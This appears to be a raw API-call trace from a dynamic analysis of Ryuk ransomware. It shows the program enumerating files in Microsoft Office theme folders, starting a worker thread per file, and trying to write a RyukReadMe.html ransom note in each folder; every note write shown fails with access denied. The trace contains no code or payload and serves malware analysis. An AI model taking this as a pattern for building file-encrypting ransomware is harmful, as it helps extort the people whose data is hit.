	[0172.410] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.410] GetLastError () returned 0x5
	[0172.410] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0172.411] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.411] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="STUDIO", cAlternateFileName="")) returned 1
	[0172.411] SetLastError (dwErrCode=0x0) 
	[0172.411] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.411] GetLastError () returned 0x5
	[0172.411] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0172.411] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.411] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0172.412] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0172.412] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x68b, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0172.412] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0172.413] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8dc
	[0172.415] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0172.415] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e493a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2e493a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfed, dwReserved0=0x8e, dwReserved1=0x0, cFileName="STUDIO.ELM", cAlternateFileName="")) returned 1
	[0172.415] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0172.416] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e0
	[0172.417] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0172.418] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x8e, dwReserved1=0x0, cFileName="STUDIO.INF", cAlternateFileName="")) returned 1
	[0172.418] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0172.419] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e4
	[0172.420] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0172.421] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0172.421] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0172.422] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e8
	[0172.424] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0172.425] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0172.425] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0172.425] SetLastError (dwErrCode=0x0) 
	[0172.425] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.426] GetLastError () returned 0x5
	[0172.426] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0172.426] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.426] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1
	[0172.426] SetLastError (dwErrCode=0x0) 
	[0172.426] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.426] GetLastError () returned 0x5
	[0172.426] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0172.427] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.427] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0172.614] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0172.614] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x137f, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0172.614] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0172.615] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b4
	[0172.616] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0172.617] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7a6700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f7a6700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x19e14, dwReserved0=0x8e, dwReserved1=0x0, cFileName="SUMIPNTG.ELM", cAlternateFileName="")) returned 1
	[0172.617] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0172.618] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x758
	[0172.619] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0172.620] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x8e, dwReserved1=0x0, cFileName="SUMIPNTG.INF", cAlternateFileName="")) returned 1
	[0172.620] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0172.621] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f8
	[0172.623] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0172.623] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0172.623] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0172.624] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8fc
	[0172.626] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0172.627] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0172.627] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0172.627] SetLastError (dwErrCode=0x0) 
	[0172.627] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.628] GetLastError () returned 0x5
	[0172.628] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0172.628] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.628] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc24e4f00, ftCreationTime.dwHighDateTime=0x1c06b0e, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc24e4f00, ftLastWriteTime.dwHighDateTime=0x1c06b0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0x7c, dwReserved1=0x0, cFileName="THEMES.INF", cAlternateFileName="")) returned 1
	[0172.628] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0172.629] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8ec
	[0172.630] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0172.631] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="WATER", cAlternateFileName="")) returned 1
	[0172.631] SetLastError (dwErrCode=0x0) 
	[0172.631] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.631] GetLastError () returned 0x5
	[0172.632] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0172.632] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.632] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0172.634] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0172.634] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa6c, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0172.634] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0172.635] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x904
	[0172.636] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0172.637] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa5d5, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0172.637] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0172.637] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x908
	[0172.639] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0172.640] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36a17500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36a17500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101cc, dwReserved0=0x8e, dwReserved1=0x0, cFileName="WATER.ELM", cAlternateFileName="")) returned 1
	[0172.640] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0172.641] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x90c
	[0172.642] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0172.643] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x8e, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 1
	[0172.643] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8660000
	[0172.644] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x910
	[0172.646] VirtualFree (lpAddress=0x8660000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0172.647] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x8e, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 0
	[0172.647] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0172.647] SetLastError (dwErrCode=0x0) 
	[0172.647] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.648] GetLastError () returned 0x5
	[0172.648] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0172.648] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.648] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 1
	[0172.648] SetLastError (dwErrCode=0x0) 
	[0172.648] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.649] GetLastError () returned 0x5
	[0172.649] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
